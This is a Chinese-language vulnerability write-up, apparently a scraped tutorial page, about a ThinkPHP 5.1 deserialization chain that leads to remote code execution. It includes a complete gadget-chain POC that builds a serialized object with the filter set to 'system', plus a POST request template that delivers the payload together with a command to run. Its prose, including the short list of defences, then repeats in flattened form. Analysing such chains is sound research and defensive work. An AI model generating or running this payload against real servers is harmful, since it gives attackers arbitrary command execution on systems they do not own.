ThinkPHP5.1反序列化漏洞实现rce
字数 1224 2025-08-06 12:21:02

ThinkPHP5.1反序列化漏洞实现RCE分析

漏洞概述

ThinkPHP5.1框架存在一个反序列化漏洞,攻击者可以通过构造特定的序列化数据实现远程代码执行(RCE)。该漏洞利用链涉及多个魔术方法的调用和框架内部函数的巧妙利用。

前置知识

关键魔术方法

  1. __destruct(): 析构函数,对象销毁时自动调用
  2. __toString(): 对象被当作字符串使用时调用
  3. __call(): 调用不存在的方法时触发

关键PHP函数

  1. file_exists(): 可以触发对象的__toString()方法
  2. call_user_func(): 可用于执行任意函数
  3. array_walk_recursive(): 递归地对数组中的每个元素应用回调函数

漏洞复现环境

修改加载器的index.php为以下形式:

<?php
namespace app\index\controller;

class Index
{
    public function index()
    {
        $c = unserialize($_POST['c']);
        return 'Welcome to ThinkPHP!';
        return $this->fetch('index');
    }
}

漏洞利用链分析

完整的利用链如下:

  1. Windows->__destruct() - 入口点
  2. Windows->removeFiles() - 调用file_exists()
  3. Conversion->__toString() - 对象被当作字符串处理
  4. Conversion->toJson()
  5. Conversion->toArray() - 包含$relation->visible($name)
  6. Request->__call() - 调用不存在的方法时触发
  7. Request->isAjax()
  8. Request->param()
  9. Request->input()
  10. Request->filterValue()
  11. call_user_func() - 最终实现RCE

详细分析

1. 入口点 - Windows类的__destruct()

public function __destruct()
{
    $this->close();
    $this->removeFiles();
}

removeFiles()方法遍历$this->files数组并调用file_exists():

private function removeFiles()
{
    foreach ($this->files as $filename) {
        if (file_exists($filename)) {
            @unlink($filename);
        }
    }
    $this->files = [];
}

2. 触发__toString()

file_exists()会将对象作为字符串处理,触发__toString()方法。在Conversion trait中:

public function __toString()
{
    return $this->toJson();
}

public function toJson($options = JSON_UNESCAPED_UNICODE)
{
    return json_encode($this->toArray(), $options);
}

3. toArray()方法的关键部分

if (!empty($this->append)) {
    foreach ($this->append as $key => $name) {
        if (is_array($name)) {
            $relation = $this->getRelation($key);
            if (!$relation) {
                $relation = $this->getAttr($key);
                if ($relation) {
                    $relation->visible($name);
                }
            }
        }
    }
}

4. getAttr()方法调用链

public function getAttr($name, &$item = null)
{
    try {
        $notFound = false;
        $value = $this->getData($name);
    } catch (InvalidArgumentException $e) {
        $notFound = true;
        $value = null;
    }
    // ...省略其他代码...
    return $value;
}

public function getData($name = null)
{
    if (is_null($name)) {
        return $this->data;
    } elseif (array_key_exists($name, $this->data)) {
        return $this->data[$name];
    }
    throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
}

5. Request类的__call方法

当调用不存在的方法visible()时触发:

public function __call($method, $args)
{
    if (array_key_exists($method, $this->hook)) {
        array_unshift($args, $this);
        return call_user_func_array($this->hook[$method], $args);
    }
    throw new Exception('method not exists:' . static::class . '->' . $method);
}

6. isAjax()方法

public function isAjax($ajax = false)
{
    $value = $this->server('HTTP_X_REQUESTED_WITH');
    $result = 'xmlhttprequest' == strtolower($value) ? true : false;
    if (true === $ajax) {
        return $result;
    }
    $result = $this->param($this->config['var_ajax']) ? true : $result;
    $this->mergeParam = false;
    return $result;
}

7. filterValue()中的RCE

private function filterValue(&$value, $key, $filters)
{
    $default = array_pop($filters);
    foreach ($filters as $filter) {
        if (is_callable($filter)) {
            // 关键点:执行任意函数
            $value = call_user_func($filter, $value);
        }
        // ...省略其他代码...
    }
    return $value;
}

漏洞利用POC

<?php
namespace think;
abstract class Model{
    protected $append = [];
    private $data = [];
    function __construct(){
        $this->append = ["l1_Tuer"=>["123"]];
        $this->data = ["l1_Tuer"=>new Request()];
    }
}

class Request {
    protected $hook = [];
    protected $filter = "system";
    protected $config = ['var_ajax'=>''];
    function __construct(){
        $this->filter = "system";
        $this->config = ["var_ajax"=>''];
        $this->hook = ["visible"=>[$this,"isAjax"]];
    }
}

namespace think\process\pipes;
use think\model\concern\Conversion;
use think\model\Pivot;
class Windows {
    private $files = [];
    public function __construct() {
        $this->files=[new Pivot()];
    }
}

namespace think\model;
use think\Model;
class Pivot extends Model {}

use think\process\pipes\Windows;
echo (serialize(new Windows()));
?>

利用方式

将生成的序列化字符串通过POST参数c传递给目标:

POST /index.php/index/index HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

c=<生成的序列化字符串>&<命令参数>=<要执行的命令>

防御措施

  1. 避免反序列化用户可控的数据
  2. 升级到ThinkPHP最新安全版本
  3. 对反序列化操作进行严格的白名单控制
  4. 禁用危险函数如call_user_func()

总结

该漏洞通过精心构造的序列化对象,利用ThinkPHP框架内部的多个方法调用链,最终实现了任意代码执行。理解这个漏洞需要对PHP的魔术方法、反序列化机制以及ThinkPHP框架的内部实现有深入的理解。

ThinkPHP5.1反序列化漏洞实现RCE分析 漏洞概述 ThinkPHP5.1框架存在一个反序列化漏洞,攻击者可以通过构造特定的序列化数据实现远程代码执行(RCE)。该漏洞利用链涉及多个魔术方法的调用和框架内部函数的巧妙利用。 前置知识 关键魔术方法 __destruct() : 析构函数,对象销毁时自动调用 __toString() : 对象被当作字符串使用时调用 __call() : 调用不存在的方法时触发 关键PHP函数 file_exists() : 可以触发对象的 __toString() 方法 call_user_func() : 可用于执行任意函数 array_walk_recursive() : 递归地对数组中的每个元素应用回调函数 漏洞复现环境 修改加载器的index.php为以下形式: 漏洞利用链分析 完整的利用链如下: Windows->__destruct() - 入口点 Windows->removeFiles() - 调用 file_exists() Conversion->__toString() - 对象被当作字符串处理 Conversion->toJson() Conversion->toArray() - 包含 $relation->visible($name) Request->__call() - 调用不存在的方法时触发 Request->isAjax() Request->param() Request->input() Request->filterValue() call_user_func() - 最终实现RCE 详细分析 1. 入口点 - Windows类的__ destruct() removeFiles() 方法遍历 $this->files 数组并调用 file_exists() : 2. 触发__ toString() file_exists() 会将对象作为字符串处理,触发 __toString() 方法。在 Conversion trait中: 3. toArray()方法的关键部分 4. getAttr()方法调用链 5. Request类的__ call方法 当调用不存在的方法 visible() 时触发: 6. isAjax()方法 7. filterValue()中的RCE 漏洞利用POC 利用方式 将生成的序列化字符串通过POST参数 c 传递给目标: 防御措施 避免反序列化用户可控的数据 升级到ThinkPHP最新安全版本 对反序列化操作进行严格的白名单控制 禁用危险函数如 call_user_func() 等 总结 该漏洞通过精心构造的序列化对象,利用ThinkPHP框架内部的多个方法调用链,最终实现了任意代码执行。理解这个漏洞需要对PHP的魔术方法、反序列化机制以及ThinkPHP框架的内部实现有深入的理解。